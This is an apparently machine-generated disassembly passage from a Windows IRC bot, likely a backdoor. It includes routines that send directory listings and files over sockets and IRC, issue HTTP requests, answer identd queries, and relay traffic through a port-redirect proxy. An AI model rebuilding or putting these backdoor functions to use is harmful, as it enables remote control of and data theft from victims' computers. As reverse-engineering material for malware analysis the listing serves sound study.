loc_4105A3: ; CODE XREF: sub_410287+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_410522
; ---------------------------------------------------------------------------
loc_4105AE: ; CODE XREF: sub_410287+2D5j
cmp [ebp+arg_C], ebx
jz loc_410698
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41EC30
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_3 ; "%s%s/"
push edi
push eax
call sub_41EC30
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41BC70
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_410654
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_410659
; ---------------------------------------------------------------------------
loc_410654: ; CODE XREF: sub_410287+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_410659: ; CODE XREF: sub_410287+3CBj
push edi
push eax
call sub_41EC30
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_41081B
; ---------------------------------------------------------------------------
loc_410698: ; CODE XREF: sub_410287+32Aj
lea eax, [ebp+var_35C]
push eax
push offset aS_17 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41EC30
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_4106C5: ; CODE XREF: sub_410287+47Bj
lea eax, [ebp+var_248]
push esi
push eax
call sub_41EC30
add esp, 24h
jmp loc_41082A
; ---------------------------------------------------------------------------
loc_4106DA: ; CODE XREF: sub_410287+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_410704
push ebx
push [ebp+var_368]
call sub_41727E
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_4106C5
; ---------------------------------------------------------------------------
loc_410704: ; CODE XREF: sub_410287+459j
cmp [ebp+arg_C], ebx
jz loc_410804
push 0E6h
push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41EC30
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_4 ; "%s%s"
push edi
push eax
call sub_41EC30
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41BC70
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_4107AA
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_4107AF
; ---------------------------------------------------------------------------
loc_4107AA: ; CODE XREF: sub_410287+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_4107AF: ; CODE XREF: sub_410287+521j
push edi
push eax
call sub_41EC30
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41EC30
add esp, 1Ch
jmp short loc_41082A
; ---------------------------------------------------------------------------
loc_410804: ; CODE XREF: sub_410287+480j
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_41081B: ; CODE XREF: sub_410287+40Cj
lea eax, [ebp+var_248]
push eax
call sub_41EC30
add esp, 18h
loc_41082A: ; CODE XREF: sub_410287+317j
; sub_410287+44Ej ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
cmp [ebp+arg_8], ebx
jz short loc_410859
push 7D0h
call ds:dword_4F534C ; Sleep
loc_410859: ; CODE XREF: sub_410287+225j
; sub_410287+240j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call ds:off_4F53EC
test eax, eax
jnz loc_4104A6
loc_410871: ; CODE XREF: sub_410287+214j
push [ebp+arg_0]
call ds:off_4F53E0
cmp [ebp+arg_8], ebx
jz short loc_4108B4
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_41727E
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_41727E
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41EA60
add esp, 14h
jmp short loc_4108E2
; ---------------------------------------------------------------------------
loc_4108B4: ; CODE XREF: sub_410287+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_248]
jz short loc_4108CE
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41EA60
pop ecx
pop ecx
jmp short loc_4108E2
; ---------------------------------------------------------------------------
loc_4108CE: ; CODE XREF: sub_410287+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41EA60
add esp, 10h
loc_4108E2: ; CODE XREF: sub_410287+62Bj
; sub_410287+645j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_410287 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410908 proc near ; CODE XREF: sub_40FE5C+135p
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:off_4F53C0
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4109C0
push esi
push ebx
call ds:off_4F53DC
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4109B9
loc_41094D: ; CODE XREF: sub_410908+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_41096A
mov edi, [ebp+arg_4]
loc_41096A: ; CODE XREF: sub_410908+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:off_4F53F4
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call ds:off_4F53BC
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4109B4
call ds:dword_4E2F5C ; WSAGetLastError
cmp eax, 2733h
jnz short loc_4109B9
xor eax, eax
loc_4109B4: ; CODE XREF: sub_410908+9Bj
sub [ebp+arg_4], eax
jnz short loc_41094D
loc_4109B9: ; CODE XREF: sub_410908+43j
; sub_410908+A8j
push ebx
call ds:off_4F533C
loc_4109C0: ; CODE XREF: sub_410908+30j
pop edi
pop esi
pop ebx
leave
retn
sub_410908 endp
; =============== S U B R O U T I N E =======================================
sub_4109C5 proc near ; CODE XREF: sub_40FFD8+17Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41BC70
test eax, eax
pop ecx
jbe short loc_4109EE
loc_4109D8: ; CODE XREF: sub_4109C5+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_4109E2
mov byte ptr [esi+edi], 2Fh
loc_4109E2: ; CODE XREF: sub_4109C5+17j
push edi
inc esi
call sub_41BC70
cmp esi, eax
pop ecx
jb short loc_4109D8
loc_4109EE: ; CODE XREF: sub_4109C5+11j
mov eax, edi
pop edi
pop esi
retn
sub_4109C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109F3 proc near ; CODE XREF: sub_401C87+531Dp
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call ds:dword_4E2F38 ; WSAStartup
push 6
push 1
push 2
call ds:dword_4E3048 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call ds:dword_4E2FC8 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AD91
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_4E2F70 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410AD0
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410A6C
mov eax, offset dword_4E5D10
loc_410A6C: ; CODE XREF: sub_4109F3+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41EC30
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call ds:dword_4E3018 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41FBF0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call ds:dword_4E2FE0 ; recv
pop esi
loc_410AD0: ; CODE XREF: sub_4109F3+6Bj
push ebx
call ds:dword_4E3060 ; closesocket
call ds:dword_4E2F20 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41EA60
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410B10
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_410B10: ; CODE XREF: sub_4109F3+102j
pop edi
pop ebx
leave
retn
sub_4109F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_410B14 proc near ; DATA XREF: sub_401404+430o
; sub_401C87+4340o
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call ds:dword_4E2FC8 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call ds:dword_4E3048 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410C75
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov ds:dword_455F0C[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call ds:dword_4E2FF4 ; bind
cmp eax, 0FFFFFFFFh
jz loc_410C75
push 5
push ebx
call ds:dword_4E2FF0 ; listen
cmp eax, 0FFFFFFFFh
jz loc_410C75
mov [ebp+var_C], edi
mov edi, 200h
loc_410B9F: ; CODE XREF: sub_410B14+EAj
; sub_410B14+14Aj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call ds:dword_4E305C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_410C70
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_238]
push offset dword_44AEB8
push eax
call sub_41EA60
lea eax, [ebp+var_238]
push eax
call sub_415A3C
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call ds:dword_4E2FE0 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_410B9F
lea eax, [ebp+var_238]
push esi
push eax
call sub_418A5E
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_41E4B0
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_40B38F
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_41EC30
add esp, 34h
lea eax, [ebp+var_238]
push esi
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jz loc_410B9F
mov [ebp+var_8], 1
jmp loc_410B9F
; ---------------------------------------------------------------------------
loc_410C70: ; CODE XREF: sub_410B14+A0j
cmp [ebp+var_8], esi
jnz short loc_410C9C
loc_410C75: ; CODE XREF: sub_410B14+47j
; sub_410B14+6Bj ...
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_238]
push offset dword_44AEFC
push eax
call sub_41EA60
lea eax, [ebp+var_238]
push eax
call sub_415A3C
add esp, 10h
loc_410C9C: ; CODE XREF: sub_410B14+15Fj
push ebx
call ds:dword_4E3060 ; closesocket
push [ebp+var_4]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_410B14 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_410CBF proc near ; DATA XREF: sub_401C87+61EDo
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call ds:dword_4E2FC8 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call ds:dword_4E3048 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410E2A
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov ds:dword_455F0C[ecx], eax
call ds:dword_4E2ED8 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call ds:dword_4E2FF4 ; bind
test eax, eax
jnz loc_410E2A
push 0Ah
push [ebp+arg_0]
call ds:dword_4E2FF0 ; listen
test eax, eax
jnz loc_410E2A
loc_410D6F: ; CODE XREF: sub_410CBF+C6j
; sub_410CBF+166j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call ds:dword_4E305C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410D6F
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_44AF28
push eax
call sub_41EA60
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40B691
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov ds:dword_455F04[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_410E4F
push esi
push esi
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov ds:dword_455F14[ecx], eax
jnz short loc_410E20
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44AF70
call sub_415AB0
pop ecx
pop ecx
jmp short loc_410E2D
; ---------------------------------------------------------------------------
loc_410E18: ; CODE XREF: sub_410CBF+164j
push 32h
call ds:dword_4F534C ; Sleep
loc_410E20: ; CODE XREF: sub_410CBF+142j
cmp [ebp+var_30], esi
jz short loc_410E18
jmp loc_410D6F
; ---------------------------------------------------------------------------
loc_410E2A: ; CODE XREF: sub_410CBF+63j
; sub_410CBF+97j ...
mov edi, [ebp+arg_0]
loc_410E2D: ; CODE XREF: sub_410CBF+157j
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call ds:dword_4E3060 ; closesocket
push [ebp+var_40]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_410CBF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_410E4F proc near ; DATA XREF: sub_410CBF+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41EF80
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call ds:dword_4E3048 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_410FB2
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call ds:dword_4E2FC8 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call ds:dword_4E3008 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_410EDF
lea eax, [ebp+var_13C]
push eax
call ds:dword_4E304C ; gethostbyname
jmp short loc_410EED
; ---------------------------------------------------------------------------
loc_410EDF: ; CODE XREF: sub_410E4F+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_4E2F80 ; gethostbyaddr
loc_410EED: ; CODE XREF: sub_410E4F+8Ej
cmp eax, edi
jz loc_410FB2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call ds:dword_4E2F70 ; connect
cmp eax, 0FFFFFFFFh
jz loc_410FB2
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_44AFB0
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_40B691
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_455F0C[ebx]
mov ds:dword_455F04[eax], ecx
add esp, 20h
mov ecx, [esi]
mov ds:dword_455F10[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_411037
push edi
push edi
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov ds:dword_455F14[ecx], eax
jnz short loc_410FEB
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44AFF8
call sub_415AB0
pop ecx
pop ecx
loc_410FB2: ; CODE XREF: sub_410E4F+44j
; sub_410E4F+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push ds:dword_455F0C[eax]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call ds:dword_4E3060 ; closesocket
push [ebp+var_4]
call sub_40B9A7
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
loc_410FE3: ; CODE XREF: sub_410E4F+19Fj
push 32h
call ds:dword_4F534C ; Sleep
loc_410FEB: ; CODE XREF: sub_410E4F+14Ej
cmp [ebp+var_20], edi
jz short loc_410FE3
mov ebx, 1000h
loc_410FF5: ; CODE XREF: sub_410E4F+1E1j
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call ds:dword_4E2FE0 ; recv
cmp eax, edi
jle short loc_410FB2
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410FF5
jmp loc_410FB2
sub_410E4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411037 proc near ; DATA XREF: sub_410E4F+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41EF80
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41106E: ; CODE XREF: sub_411037+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push ds:dword_455F10[esi]
call ds:dword_4E2FE0 ; recv
test eax, eax
jle short loc_4110B5
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push ds:dword_455F0C[esi]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41106E
loc_4110B5: ; CODE XREF: sub_411037+61j
push ds:dword_455F10[esi]
call ds:dword_4E3060 ; closesocket
push [ebp+var_14]
call sub_40B9A7
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_411037 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110D4 proc near ; DATA XREF: sub_411349+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_3D4]
inc ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_455F0C[eax]
xor edi, edi
mov [ebp+var_C], 1Eh
mov [ebp+var_8], edi
mov eax, [esi]
mov [ebp+var_1F4], ebx
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call ds:dword_4E2FB0 ; select
test eax, eax
jnz short loc_411158
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_411158: ; CODE XREF: sub_4110D4+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call ds:dword_4E2FE0 ; recv
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_4112D9
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_4112D9
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_4112D9
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call ds:dword_4E2F1C ; getpeername
test eax, eax
jz short loc_4111D1
call ds:dword_4E2F5C ; WSAGetLastError
push eax
push offset unk_44B038
call sub_415AB0
push [ebp+arg_0]
call sub_40B9A7
add esp, 0Ch
push edi
call ds:dword_4F53A0 ; ExitThread
loc_4111D1: ; CODE XREF: sub_4110D4+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call ds:dword_4E2F80 ; gethostbyaddr
cmp eax, edi
jnz short loc_4111FB
push [ebp+var_18]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_B0]
push eax
call sub_41EA60
jmp short loc_411209
; ---------------------------------------------------------------------------
loc_4111FB: ; CODE XREF: sub_4110D4+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_41F620
loc_411209: ; CODE XREF: sub_4110D4+125j
pop ecx
pop ecx
push edi
push ebx
push offset dword_4E5D20
push dword ptr [esi]
call ds:dword_4E3018 ; send
cmp ds:dword_4E5D18, edi
jnz short loc_41126B
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41131A
add esp, 10h
test eax, eax
jnz short loc_41126B
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call ds:dword_4E3018 ; send
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_41126B: ; CODE XREF: sub_4110D4+14Cj
; sub_4110D4+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_44B078
call sub_415AB0
push [ebp+arg_0]
call sub_4115D0
add esp, 10h
test eax, eax
jnz short loc_4112B2
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B0A0
call sub_415AB0
push [ebp+arg_0]
call sub_40B9A7
add esp, 0Ch
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4112B2: ; CODE XREF: sub_4110D4+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_44B0CC
call sub_415AB0
push [ebp+arg_0]
call sub_40B9A7
add esp, 10h
push edi
call ds:dword_4F53A0 ; ExitThread
sub_4110D4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4112D9 proc near ; CODE XREF: sub_4110D4+9Ap
; sub_4110D4+A7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
loc_4112E0: ; CODE XREF: sub_4112D9+2Aj
push 0
